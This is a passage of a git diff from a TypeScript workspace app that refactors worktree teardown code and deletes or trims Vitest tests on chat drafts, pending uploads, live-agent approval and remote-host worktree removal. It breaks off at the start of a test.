-function seedFolderWorkspace(store: ReturnType<typeof createTestStore>): void {
-  store.setState({
-    projectGroups: [
-      {
-        id: 'group-a',
-        name: 'A',
-        parentPath: '/workspace',
-        parentGroupId: null,
-        createdFrom: 'manual',
-        tabOrder: 0,
-        isCollapsed: false,
-        color: null,
-        createdAt: 1,
-        updatedAt: 1,
-        executionHostId: 'local'
-      }
-    ],
-    folderWorkspaces: [FOLDER]
-  })
-  seedWorkspace(store, folderWorkspaceKey(FOLDER.id))
-}
-
 describe('workspace chat drafts on removal', () => {
   beforeEach(() => {
     vi.clearAllMocks()
@@ -172,89 +127,6 @@ describe('workspace chat drafts on removal', () => {
     clearNativeChatPendingAttachmentsForTests()
   })
 
-  it('removing a worktree deletes its drafts even when a listing purge lands mid-removal', async () => {
-    const store = createTestStore()
-    seedWorktree(store)
-    mockApi.worktrees.remove.mockImplementation(async () => {
-      store.getState().purgeWorktreeTerminalState([WT1])
-    })
-
-    const result = await store.getState().removeWorktree({ id: WT1, executionHostId: null }, true)
-
-    expect(result).toEqual({ ok: true })
-    expect(draftTexts()).toEqual(['', '', 'other'])
-  })
-
-  it('removing a worktree deletes the draft of a chat whose tab was closed earlier', async () => {
-    const store = createTestStore()
-    seedWorktree(store)
-    setNativeChatComposerDraftOwnerResolver((scopeKey) =>
-      resolveNativeChatDraftOwner(store.getState(), scopeKey)
-    )
-    const closed = structuredAgentSessionDraftScopeKey('session-closed')
-    seedStore(store, {
-      unifiedTabsByWorktree: {
-        [WT1]: [
-          ...(store.getState().unifiedTabsByWorktree[WT1] ?? []),
-          makeUnifiedTab({
-            id: 'closed-tab',
-            entityId: 'session-closed',
-            contentType: 'agent-session',
-            worktreeId: WT1,
-            groupId: 'group-1'
-          })
-        ]
-      }
-    })
-    updateNativeChatComposerDraft(closed, { text: 'written, then its tab closed' }, 'immediate')
-    store.getState().closeUnifiedTab('closed-tab')
-    expect(readNativeChatComposerDraft(closed).text).toBe('written, then its tab closed')
-
-    const result = await store.getState().removeWorktree({ id: WT1, executionHostId: null }, true)
-
-    expect(result).toEqual({ ok: true })
-    expect(readNativeChatComposerDraft(closed).text).toBe('')
-    expect(draftTexts()).toEqual(['', '', 'other'])
-  })
-
-  it('a paste still uploading when its folder workspace is deleted never writes a draft back', async () => {
-    mockApi.folderWorkspaces.delete.mockResolvedValue(true)
-    const store = createTestStore()
-    seedFolderWorkspace(store)
-    trackDraftOwners(store)
-    pasteStillUploading(CHAT, PANE, OTHER)
-
-    await expect(store.getState().deleteFolderWorkspace(FOLDER.id)).resolves.toBe(true)
-
-    expect(uploadsComplete(CHAT, PANE, OTHER)).toEqual([OTHER])
-    expect([CHAT, PANE, OTHER].map(draftImageCount)).toEqual([0, 0, 1])
-    expect(draftTexts()).toEqual(['', '', 'other'])
-  })
-
-  it('drops the uploads of its open chats and panes even when no owner was named', async () => {
-    const store = createTestStore()
-    seedWorktree(store)
-    pasteStillUploading(CHAT, PANE, OTHER)
-
-    await store.getState().removeWorktree({ id: WT1, executionHostId: null }, true)
-
-    expect(uploadsComplete(CHAT, PANE, OTHER)).toEqual([OTHER])
-    expect([CHAT, PANE, OTHER].map(draftImageCount)).toEqual([0, 0, 1])
-  })
-
-  it('drops the upload of a chat whose tab closed while it was still on its way', async () => {
-    const store = createTestStore()
-    seedWorktree(store)
-    trackDraftOwners(store)
-    pasteStillUploading(CHAT)
-    store.getState().closeUnifiedTab('chat-tab')
-
-    await store.getState().removeWorktree({ id: WT1, executionHostId: null }, true)
-
-    expect(uploadsComplete(CHAT)).toEqual([])
-    expect(draftImageCount(CHAT)).toBe(0)
-  })
-
   it('deletes a draft an upload wrote after its chat’s tab closed, by the owner it began in', async () => {
     const store = createTestStore()
     seedWorktree(store)
@@ -284,18 +156,4 @@ describe('workspace chat drafts on removal', () => {
 
     expect(draftImageCount(later)).toBe(0)
   })
-
-  it('a removal the host refuses keeps the uploads, which still reach their drafts', async () => {
-    vi.spyOn(console, 'warn').mockImplementation(() => {})
-    const store = createTestStore()
-    seedWorktree(store)
-    trackDraftOwners(store)
-    pasteStillUploading(CHAT, PANE)
-    mockApi.worktrees.remove.mockRejectedValue(new Error('Permission denied'))
-
-    await store.getState().removeWorktree({ id: WT1, executionHostId: null }, true)
-
-    expect(uploadsComplete(CHAT, PANE)).toEqual([CHAT, PANE])
-    expect([CHAT, PANE].map(draftImageCount)).toEqual([1, 1])
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktree-purge-state.ts b/src/renderer/src/store/slices/worktrees/teardown/worktree-purge-state.ts
index c2eec25f8ea..e48a9fc9883 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/worktree-purge-state.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/worktree-purge-state.ts
@@ -1,7 +1,5 @@
 import { retireRemovedWorktreeCommitDrafts } from '@/lib/source-control/drafts/source-control-commit-draft-session'
-import type { AppState } from '../../../types'
 import { forgetCombinedDiffViewsForWorktrees } from '@/components/editor/combined-diff/remember-view/combined-diff-view-cache'
-import type { WorktreePurgeTarget, WorktreePurgeTargets } from './worktree-purge-target'
 import { forgetHugeRepoWarningDismissalsForWorktrees } from '@/lib/source-control/warnings/source-control-huge-repo-warning-dismissals'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { pruneHostedReviewLinkMutationGenerations } from '../metadata/hosted-review-link-mutation'
@@ -11,8 +9,8 @@ import { omitSleepingAgentSessionsForWorktrees } from './sleeping-agent-session-
 import { removeDeleteStatesForWorktreeIds } from './worktree-delete-state'
 import { omitRecordKeys } from './record-key-omission'
 import { removeWorktreeVisitEntriesForTargets } from '@/lib/workspace/activation/worktree-visit-recency'
-import { forgetAmbiguousOwnerWarnings } from '@/lib/ambiguous-owner-warning'
-import { forgetWorktreeSleepIntent } from '@/lib/worktree-sleep-intent'
+import { forgetAmbiguousOwnerWarnings } from '@/lib/workspace/ownership/ambiguous-owner-warning'
+import { forgetWorktreeSleepIntent } from '@/lib/workspace/sleep/worktree-sleep-intent'
 import { removeWorktreeLayout } from '../../tabs/worktree-layout-lifecycle'
 import {
   cancelStructuredLaunchesForWorktrees,
@@ -24,6 +22,8 @@ import { mergeEditorBufferKeepRequests } from '../../editor/buffers/editor-buffe
 import { buildHostTwinPurgeState } from './host-twin-worktree-purge'
 import { collectHostTwinPurgeScopes } from './host-twin-purge-scopes'
 import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity'
+import type { AppState } from '../../../types'
+import type { WorktreePurgeTarget, WorktreePurgeTargets } from './worktree-purge-target'
 
 /**
  * Builds a bulk cleanup patch and clears auxiliary warning records without requiring individual
diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts b/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts
index 1f4110feeaa..3a1a5e0d3b6 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/worktree-state-before-removal.ts
@@ -1,4 +1,6 @@
-import type { AppState } from '../../../types'
+import type { TerminalNoticeLifetime } from '@/components/terminal-pane/provider-notices/terminal-notice-lifetime'
+import { captureWorktreeTerminalNoticeRemoval } from '../../../terminals/terminal-notice-removal'
+import type { TerminalTabRetirementState } from '../../../terminals/terminal-tab-retirement'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import {
   captureWorkspaceChatDraftKeys,
@@ -9,16 +11,18 @@ import {
 /** What the teardown needs from the worktree's tab lists, which a listing refresh started during
  *  the removal round trip can drop before the teardown runs. */
 export type WorktreeStateBeforeRemoval = {
+  readonly terminalNotices: readonly TerminalNoticeLifetime[]
   readonly terminalPtyIds: readonly string[]
   readonly chatDraftKeys: WorkspaceChatDraftKeys
 }
 
 export function captureWorktreeStateBeforeRemoval(
-  state: Pick<AppState, 'tabsByWorktree' | 'unifiedTabsByWorktree' | 'ptyIdsByTabId'>,
+  state: TerminalTabRetirementState,
   worktreeId: string,
   executionHostId: ExecutionHostId | undefined
 ): WorktreeStateBeforeRemoval {
   return {
+    terminalNotices: captureWorktreeTerminalNoticeRemoval(state, worktreeId),
     terminalPtyIds: (state.tabsByWorktree[worktreeId] ?? []).flatMap(
       (tab) => state.ptyIdsByTabId[tab.id] ?? []
     ),
diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts b/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts
index 76fe19790d0..de4b39001d7 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/worktrees-always-force-delete.test.ts
@@ -60,31 +60,6 @@ it('refuses newly appeared unapproved live agent on local after preparation', as
   expect(mockApi.worktrees.remove).not.toHaveBeenCalled()
 })
 
-it('allows already-approved live agent on local after preparation', async () => {
-  const store = createTestStore()
-  const candidate = makeCandidate({ executionHostId: 'local' })
-  candidate.blockers = ['live-agent']
-  const wt = makeWorktree({ id: candidate.worktreeId, repoId: candidate.repoId, hostId: 'local' })
-  store.setState({ worktreesByRepo: { [wt.repoId]: [wt] } })
-  const gate = deferred<unknown>()
-  const preparation = mockApi.hooks.check
-  preparation.mockReturnValueOnce(gate.promise)
-  const removal = store.getState().removeWorktree({ id: wt.id, executionHostId: 'local' }, false, {
-    assertBeforeDispatch: () =>
-      assertWorkspaceCleanupAgentStopApproved(store.getState(), candidate, candidate)
-  })
-  await vi.waitFor(() => expect(preparation).toHaveBeenCalled())
-  const entry = makeAgentEntry('chat', 'working', Date.now(), {
-    worktreeId: wt.id,
-    connectionId: null,
-    terminalHandle: undefined
-  })
-  store.setState({ agentStatusByPaneKey: { [entry.paneKey]: entry } })
-  gate.resolve({ hasHooks: false })
-  expect((await removal).ok).toBe(true)
-  expect(mockApi.worktrees.remove).toHaveBeenCalled()
-})
-
 it('refuses newly appeared unapproved live agent on runtime:env-1 after preparation', async () => {
   const store = createTestStore()
   const candidate = makeCandidate({ executionHostId: 'runtime:env-1' })
@@ -116,35 +91,3 @@ it('refuses newly appeared unapproved live agent on runtime:env-1 after preparat
   expect((await removal).ok).toBe(false)
   expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
 })
-
-it('allows already-approved live agent on runtime:env-1 after preparation', async () => {
-  const store = createTestStore()
-  const candidate = makeCandidate({ executionHostId: 'runtime:env-1' })
-  candidate.blockers = ['live-agent']
-  const wt = makeWorktree({
-    id: candidate.worktreeId,
-    repoId: candidate.repoId,
-    hostId: 'runtime:env-1'
-  })
-  store.setState({ worktreesByRepo: { [wt.repoId]: [wt] } })
-  const gate = deferred<unknown>()
-  store.setState({ trustedOrcaHooks: { repo1: { all: { approvedAt: 1 } } } })
-  const preparation = runtimeEnvironmentTransportCall
-  preparation.mockReturnValueOnce(gate.promise)
-  const removal = store
-    .getState()
-    .removeWorktree({ id: wt.id, executionHostId: 'runtime:env-1' }, false, {
-      assertBeforeDispatch: () =>
-        assertWorkspaceCleanupAgentStopApproved(store.getState(), candidate, candidate)
-    })
-  await vi.waitFor(() => expect(preparation).toHaveBeenCalled())
-  const entry = makeAgentEntry('chat', 'working', Date.now(), {
-    worktreeId: wt.id,
-    connectionId: null,
-    terminalHandle: 'remote:env-1@@pty'
-  })
-  store.setState({ agentStatusByPaneKey: { [entry.paneKey]: entry } })
-  gate.resolve(createCompatibleRuntimeStatusResponse())
-  expect((await removal).ok).toBe(true)
-  expect(runtimeEnvironmentCall).toHaveBeenCalled()
-})
diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktrees-background-removal.test.ts b/src/renderer/src/store/slices/worktrees/teardown/worktrees-background-removal.test.ts
index bdae93d8147..de28b759da6 100644
--- a/src/renderer/src/store/slices/worktrees/teardown/worktrees-background-removal.test.ts
+++ b/src/renderer/src/store/slices/worktrees/teardown/worktrees-background-removal.test.ts
@@ -131,20 +131,4 @@ describe('removing a worktree the host deletes in the background', () => {
     expect(attempt.draft?.text).toBe('pending task')
     clearNativeChatComposerDraftsForTests()
   })
-
-  it('lost removal reply keeps draft when listing is unreadable', async () => {
-    clearNativeChatComposerDraftsForTests()
-    seedRow(store)
-    hostListsOnRefresh(new Error('unreadable'))
-    const scope = nativeChatLaunchPromptDraftScopeKey(worktreeId, 'codex', 'local')
-    updateNativeChatComposerDraft(scope, { text: 'pending task' }, 'immediate')
-    const attempt = captureNativeChatComposerSubmission(scope)
-    mockApi.worktrees.remove.mockRejectedValue(new Error('Request timed out: worktree.rm'))
-    const result = await store
-      .getState()
-      .removeWorktree({ id: worktreeId, executionHostId: 'local' })
-    expect(result.ok).toBe(false)
-    expect(attempt.draft?.text).toBe('pending task')
-    clearNativeChatComposerDraftsForTests()
-  })
 })
diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktrees-purge-terminal-state.test.ts b/src/renderer/src/store/slices/worktrees/teardown/worktrees-purge-terminal-state.test.ts
deleted file mode 100644
index 762e008f1c6..00000000000
--- a/src/renderer/src/store/slices/worktrees/teardown/worktrees-purge-terminal-state.test.ts
+++ /dev/null
@@ -1,241 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AppState } from '../../../types'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
-import { makeLineage } from '../metadata/workspace-lineage.test-fixture'
-import {
-  createTestStore,
-  resetRemoteRuntimeMocks,
-  resetWorktreeSliceModuleMemory
-} from '../worktrees-slice-test-harness'
-
-const requestWorktreeBaseFallbackNotice = vi.hoisted(() => vi.fn())
-
-vi.mock('sonner', () => ({
-  toast: {
-    warning: vi.fn(),
-    info: vi.fn(),
-    success: vi.fn(),
-    error: vi.fn(),
-    dismiss: vi.fn()
-  }
-}))
-
-vi.mock('@/components/worktree-base-fallback-notice', () => ({
-  requestWorktreeBaseFallbackNotice
-}))
-
-beforeEach(resetWorktreeSliceModuleMemory)
-
-// Why: design §4.4 — purgeWorktreeTerminalState wipes every worktree-scoped map symmetrically so no entry is stranded.
-describe('purgeWorktreeTerminalState direct (design §4.4)', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-  })
-
-  it('wipes tab-id-keyed maps (terminalLayoutsByTabId, ptyIdsByTabId) and clears actives', () => {
-    const store = createTestStore()
-
-    store.setState({
-      tabsByWorktree: {
-        'repoA::/a/wt1': [
-          { id: 'tab-1', worktreeId: 'repoA::/a/wt1' },
-          { id: 'tab-2', worktreeId: 'repoA::/a/wt1' }
-        ],
-        'repoA::/a/wt2': [{ id: 'tab-3', worktreeId: 'repoA::/a/wt2' }]
-      },
-      terminalLayoutsByTabId: {
-        'tab-1': { panes: [] },
-        'tab-2': { panes: [] },
-        'tab-3': { panes: [] }
-      },
-      ptyIdsByTabId: { 'tab-1': ['pty-1'], 'tab-2': ['pty-2'], 'tab-3': ['pty-3'] },
-      expandedPaneByTabId: { 'tab-1': true, 'tab-2': false, 'tab-3': true },
-      canExpandPaneByTabId: { 'tab-1': true, 'tab-2': true, 'tab-3': false },
-      runtimePaneTitlesByTabId: { 'tab-1': 'claude', 'tab-3': 'bash' },
-      automaticAgentResumeClaimsByTabId: {
-        'tab-1': {
-          worktreeId: 'repoA::/a/wt1',
-          launchAgent: 'codex',
-          providerSession: { key: 'session_id', id: 'sess-1' }
-        },
-        'tab-3': {
-          worktreeId: 'repoA::/a/wt2',
-          launchAgent: 'codex',
-          providerSession: { key: 'session_id', id: 'sess-3' }
-        }
-      },
-      openFiles: [
-        {
-          id: 'file-1',
-          worktreeId: 'repoA::/a/wt1',
-          filePath: '/a/wt1/a.ts',
-          relativePath: 'a.ts',
-          language: 'typescript',
-          isDirty: false,
-          markdownPreviewSourceFileId: 'source-1',
-          isPreview: false,
-          mode: 'edit' as const
-        }
-      ],
-      editorDrafts: { 'file-1': 'draft', 'file-99': 'other' },
-      markdownFrontmatterVisible: { 'source-1': true, 'file-99': true },
-      gitIgnoredPathsByWorktree: {
-        'repoA::/a/wt1': ['dist/'],
-        'repoA::/a/wt2': ['coverage/']
-      },
-      gitStatusHeadByWorktree: {
-        'repoA::/a/wt1': 'head-1',
-        'repoA::/a/wt2': 'head-2'
-      },
-      gitBranchLineTotalByWorktree: {
-        'repoA::/a/wt1': { added: 24, removed: 3, mergeBase: 'base-1' },
-        'repoA::/a/wt2': { added: 1, removed: 0, mergeBase: 'base-2' }
-      },
-      gitBranchCompareRequestStatusHeadByWorktree: {
-        'repoA::/a/wt1': 'head-1',
-        'repoA::/a/wt2': 'head-2'
-      },
-      rightSidebarTabByWorktree: {
-        'repoA::/a/wt1': 'search' as never,
-        'repoA::/a/wt2': 'checks'
-      },
-      activeWorktreeId: 'repoA::/a/wt1',
-      worktreeLineageById: {
-        'repoA::/a/wt1': makeLineage({ worktreeId: 'repoA::/a/wt1' }),
-        'repoA::/a/wt2': makeLineage({ worktreeId: 'repoA::/a/wt2' })
-      },
-      activeFileId: 'file-1',
-      activeTabId: 'tab-1',
-      activeTabType: 'editor' as const
-    } as unknown as Partial<AppState>)
-
-    store.getState().purgeWorktreeTerminalState(['repoA::/a/wt1'])
-
-    const s = store.getState()
-    expect(s.tabsByWorktree).toEqual({
-      'repoA::/a/wt2': [{ id: 'tab-3', worktreeId: 'repoA::/a/wt2' }]
-    })
-    expect(s.worktreeLineageById).toEqual({
-      'repoA::/a/wt2': makeLineage({ worktreeId: 'repoA::/a/wt2' })
-    })
-    expect(s.terminalLayoutsByTabId).toEqual({ 'tab-3': { panes: [] } })
-    expect(s.ptyIdsByTabId).toEqual({ 'tab-3': ['pty-3'] })
-    expect(s.expandedPaneByTabId).toEqual({ 'tab-3': true })
-    expect(s.canExpandPaneByTabId).toEqual({ 'tab-3': false })
-    expect(s.runtimePaneTitlesByTabId).toEqual({ 'tab-3': 'bash' })
-    expect(s.automaticAgentResumeClaimsByTabId).toEqual({
-      'tab-3': {
-        worktreeId: 'repoA::/a/wt2',
-        launchAgent: 'codex',
-        providerSession: { key: 'session_id', id: 'sess-3' }
-      }
-    })
-    expect(s.openFiles).toEqual([])
-    expect(s.editorDrafts).toEqual({ 'file-99': 'other' })
-    expect(s.markdownFrontmatterVisible).toEqual({ 'file-99': true })
-    expect(s.gitStatusHeadByWorktree).toEqual({ 'repoA::/a/wt2': 'head-2' })
-    expect(s.gitBranchLineTotalByWorktree).toEqual({
-      'repoA::/a/wt2': { added: 1, removed: 0, mergeBase: 'base-2' }
-    })
-    expect(s.gitBranchCompareRequestStatusHeadByWorktree).toEqual({
-      'repoA::/a/wt2': 'head-2'
-    })
-    expect(s.gitIgnoredPathsByWorktree).toEqual({ 'repoA::/a/wt2': ['coverage/'] })
-    expect(s.rightSidebarTabByWorktree).toEqual({ 'repoA::/a/wt2': 'checks' })
-    expect(s.activeWorktreeId).toBeNull()
-    expect(s.activeFileId).toBeNull()
-    expect(s.activeTabId).toBeNull()
-    expect(s.activeTabType).toBe('terminal')
-  })
-
-  it('ignores the floating workspace sentinel while purging mixed real ids', () => {
-    const store = createTestStore()
-    const staleId = 'repoA::/a/wt1'
-    const floatingFile = {
-      id: 'floating-file',
-      worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-      filePath: '/floating/note.md',
-      relativePath: 'note.md',
-      language: 'markdown',
-      isDirty: false,
-      isPreview: false,
-      mode: 'edit' as const
-    }
-
-    store.setState({
-      tabsByWorktree: {
-        [staleId]: [{ id: 'tab-1', worktreeId: staleId }],
-        [FLOATING_TERMINAL_WORKTREE_ID]: [
-          { id: 'floating-terminal-tab', worktreeId: FLOATING_TERMINAL_WORKTREE_ID }
-        ]
-      },
-      browserTabsByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [{ id: 'floating-browser', url: 'https://orca.test' }]
-      },
-      openFiles: [
-        floatingFile,
-        {
-          id: 'stale-file',
-          worktreeId: staleId,
-          filePath: '/a/wt1/stale.ts',
-          relativePath: 'stale.ts',
-          language: 'typescript',
-          isDirty: false,
-          isPreview: false,
-          mode: 'edit' as const
-        }
-      ],
-      activeFileIdByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: 'floating-file',
-        [staleId]: 'stale-file'
-      },
-      unifiedTabsByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [
-          {
-            id: 'floating-unified-tab',
-            type: 'editor',
-            worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-            fileId: 'floating-file'
-          }
-        ],
-        [staleId]: [{ id: 'stale-unified-tab', worktreeId: staleId }]
-      },
-      groupsByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [
-          {
-            id: 'floating-group',
-            worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-            activeTabId: 'floating-unified-tab'
-          }
-        ],
-        [staleId]: [{ id: 'stale-group', worktreeId: staleId, activeTabId: 'stale-unified-tab' }]
-      },
-      layoutByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: { type: 'leaf', groupId: 'floating-group' },
-        [staleId]: { type: 'leaf', groupId: 'stale-group' }
-      }
-    } as unknown as Partial<AppState>)
-
-    store.getState().purgeWorktreeTerminalState([staleId, FLOATING_TERMINAL_WORKTREE_ID])
-
-    expect(store.getState().tabsByWorktree).toEqual({
-      [FLOATING_TERMINAL_WORKTREE_ID]: [
-        { id: 'floating-terminal-tab', worktreeId: FLOATING_TERMINAL_WORKTREE_ID }
-      ]
-    })
-    expect(store.getState().browserTabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toEqual([
-      { id: 'floating-browser', url: 'https://orca.test' }
-    ])
-    expect(store.getState().openFiles).toEqual([floatingFile])
-    expect(store.getState().activeFileIdByWorktree).toEqual({
-      [FLOATING_TERMINAL_WORKTREE_ID]: 'floating-file'
-    })
-    expect(store.getState().unifiedTabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toHaveLength(1)
-    expect(store.getState().groupsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toHaveLength(1)
-    expect(store.getState().layoutByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toEqual({
-      type: 'leaf',
-      groupId: 'floating-group'
-    })
-  })
-})
diff --git a/src/renderer/src/store/slices/worktrees/teardown/worktrees-remote-runtime-removal.test.ts b/src/renderer/src/store/slices/worktrees/teardown/worktrees-remote-runtime-removal.test.ts
deleted file mode 100644
index b16e01b2583..00000000000
--- a/src/renderer/src/store/slices/worktrees/teardown/worktrees-remote-runtime-removal.test.ts
+++ /dev/null
@@ -1,516 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AppState } from '../../../types'
-import type { RuntimeEnvironmentCallRequest } from '../../../../runtime/rpc/testing/runtime-compatibility-test-fixture'
-import { makeWorktree } from '../worktree.test-fixture'
-import '../../../../../../shared/constants'
-import {
-  createTestStore,
-  mockApi,
-  resetRemoteRuntimeMocks,
-  resetWorktreeSliceModuleMemory,
-  runtimeEnvironmentCall
-} from '../worktrees-slice-test-harness'
-
-const requestWorktreeBaseFallbackNotice = vi.hoisted(() => vi.fn())
-
-vi.mock('sonner', () => ({
-  toast: {
-    warning: vi.fn(),
-    info: vi.fn(),
-    success: vi.fn(),
-    error: vi.fn(),
-    dismiss: vi.fn()
-  }
-}))
-
-vi.mock('@/components/worktree-base-fallback-notice', () => ({
-  requestWorktreeBaseFallbackNotice
-}))
-
-beforeEach(resetWorktreeSliceModuleMemory)
-
-describe('worktree remote runtime mutations', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-  })
-
-  it('does not clean up a hidden same-id VM owned by another host', async () => {
-    const store = createTestStore()
-    const wt = makeWorktree({
-      id: 'repo1::/path/shared',
-      repoId: 'repo1',
-      path: '/path/shared',
-      hostId: 'ssh:runtime-ssh-a'
-    })
-    mockApi.ephemeralVm.listRuntimes.mockResolvedValue([
-      {
-        id: 'runtime-a',
-        workspaceId: wt.id,
-        sshTargetId: 'runtime-ssh-a',
-        cleanupStatus: 'not_started'
-      },
-      {
-        id: 'runtime-b',
-        workspaceId: wt.id,
-        sshTargetId: 'runtime-ssh-b',
-        cleanupStatus: 'not_started'
-      }
-    ] as never)
-    store.setState({ worktreesByRepo: { repo1: [wt] } } as Partial<AppState>)
-
-    await expect(
-      store.getState().removeWorktree({ id: wt.id, executionHostId: 'ssh:runtime-ssh-a' })
-    ).resolves.toEqual({ ok: true })
-
-    expect(mockApi.ephemeralVm.cleanup).not.toHaveBeenCalledWith({ runtimeId: 'runtime-b' })
-    expect(mockApi.ephemeralVm.cleanup).toHaveBeenCalledWith({ runtimeId: 'runtime-a' })
-  })
-
-  it('removes a HUB-owned SSH worktree through its exact HUB transport owner', async () => {
-    const store = createTestStore()
-    const wt = makeWorktree({
-      id: 'repo-ssh::/srv/nested-wt',
-      repoId: 'repo-ssh',
-      path: '/srv/nested-wt',
-      hostId: 'ssh:hub-private-target',
-      runtimeOwnerEnvironmentId: 'owner-hub'
-    })
-    runtimeEnvironmentCall
-      // Why: the archive-hook check runs on the HUB too; this app cannot reach its SSH target.
-      .mockResolvedValueOnce({
-        id: 'rpc-hooks-check',
-        ok: true,
-        result: { hasHooks: false, hooks: null, mayNeedUpdate: false },
-        _meta: { runtimeId: 'runtime-owner-hub' }
-      })
-      .mockResolvedValueOnce({
-        id: 'rpc-rm-nested',
-        ok: true,
-        result: {
-          preservedBranch: { branchName: 'feature/nested', head: 'saved-head' }
-        },
-        _meta: { runtimeId: 'runtime-owner-hub' }
-      })
-      .mockResolvedValueOnce({
-        id: 'rpc-force-delete-branch',
-        ok: true,
-        result: { deleted: true },
-        _meta: { runtimeId: 'runtime-owner-hub' }
-      })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'different-hub' } as never,
-      worktreesByRepo: { 'repo-ssh': [wt] }
-    } as Partial<AppState>)
-
-    const result = await store.getState().removeWorktree({ id: wt.id, executionHostId: null })
-
-    expect(result).toEqual({
-      ok: true,
-      preservedBranch: {
-        branchName: 'feature/nested',
-        head: 'saved-head',
-        hostId: 'ssh:hub-private-target',
-        runtimeEnvironmentId: 'owner-hub'
-      }
-    })
-    expect(runtimeEnvironmentCall).toHaveBeenNthCalledWith(1, {
-      selector: 'owner-hub',
-      method: 'repo.hooksCheck',
-      // Removing is the user's own act, so its hooks check may start a stopped WSL distro.
-      params: { repo: 'repo-ssh', wakeWslDistro: true },
-      timeoutMs: 15_000
-    })
-    expect(runtimeEnvironmentCall).toHaveBeenNthCalledWith(
-      2,
-      expect.objectContaining({
-        selector: 'owner-hub',
-        method: 'worktree.rm',
-        params: {
-          worktree: `id:${wt.id}`,
-          hostId: 'ssh:hub-private-target',
-          force: undefined,
-          allowUnverifiedPtyStop: false,
-          runHooks: true
-        }
-      })
-    )
-    expect(mockApi.worktrees.remove).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo['repo-ssh']).toEqual([])
-
-    const forceResult = await store
-      .getState()
-      .forceDeletePreservedBranch(wt.id, 'feature/nested', 'saved-head')
-
-    expect(forceResult).toEqual({ ok: true, deleted: true })
-    expect(runtimeEnvironmentCall).toHaveBeenNthCalledWith(3, {
-      selector: 'owner-hub',
-      method: 'worktree.forceDeleteBranch',
-      params: {
-        worktree: `id:${wt.id}`,
-        branchName: 'feature/nested',
-        expectedHead: 'saved-head',
-        hostId: 'ssh:hub-private-target'
-      },
-      timeoutMs: 15_000
-    })
-  })
-
-  it('retains separate preserved-branch cleanup routes for sequential same-id hosts', async () => {
-    const store = createTestStore()
-    const worktreeId = 'repo-shared::/same/path'
-    const localWorktree = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      path: '/same/path',
-      hostId: 'local'
-    })
-    const remoteWorktree = makeWorktree({
-      id: worktreeId,
-      repoId: 'repo-shared',
-      path: '/same/path',
-      hostId: 'ssh:shared-target',
-      runtimeOwnerEnvironmentId: 'shared-hub'
-    })
-    mockApi.worktrees.remove.mockResolvedValueOnce({
-      preservedBranch: { branchName: 'feature/local', head: 'local-head' }
-    })
-    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) =>
-      Promise.resolve({
-        id: `rpc-${method}`,
-        ok: true,
-        result:
-          method === 'repo.hooksCheck'
-            ? { hasHooks: false, hooks: null, mayNeedUpdate: false }
-            : method === 'worktree.rm'
-              ? {
-                  preservedBranch: { branchName: 'feature/remote', head: 'remote-head' }
-                }
-              : { deleted: true },
-        _meta: { runtimeId: 'runtime-shared-hub' }
-      })
-    )
-    store.setState({
-      worktreesByRepo: { 'repo-shared': [localWorktree] }
-    } as Partial<AppState>)
-
-    await store.getState().removeWorktree({ id: worktreeId, executionHostId: null })
-    store.setState({
-      worktreesByRepo: { 'repo-shared': [remoteWorktree] }
-    } as Partial<AppState>)
-    await store.getState().removeWorktree({ id: worktreeId, executionHostId: null })
-
-    await store
-      .getState()
-      .forceDeletePreservedBranch(worktreeId, 'feature/local', 'local-head', { hostId: 'local' })
-    await store.getState().forceDeletePreservedBranch(worktreeId, 'feature/remote', 'remote-head', {
-      hostId: 'ssh:shared-target',
-      runtimeEnvironmentId: 'shared-hub'
-    })
-
-    expect(mockApi.worktrees.forceDeletePreservedBranch).toHaveBeenCalledWith({
-      worktreeId,
-      branchName: 'feature/local',
-      expectedHead: 'local-head',
-      hostId: 'local'
-    })
-    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'shared-hub',
-        method: 'worktree.forceDeleteBranch',
-        params: {
-          worktree: `id:${worktreeId}`,
-          branchName: 'feature/remote',
-          expectedHead: 'remote-head',
-          hostId: 'ssh:shared-target'
-        }
-      })
-    )
-  })
-
-  it('fails closed when several hosts preserved the same branch and no host is specified', async () => {
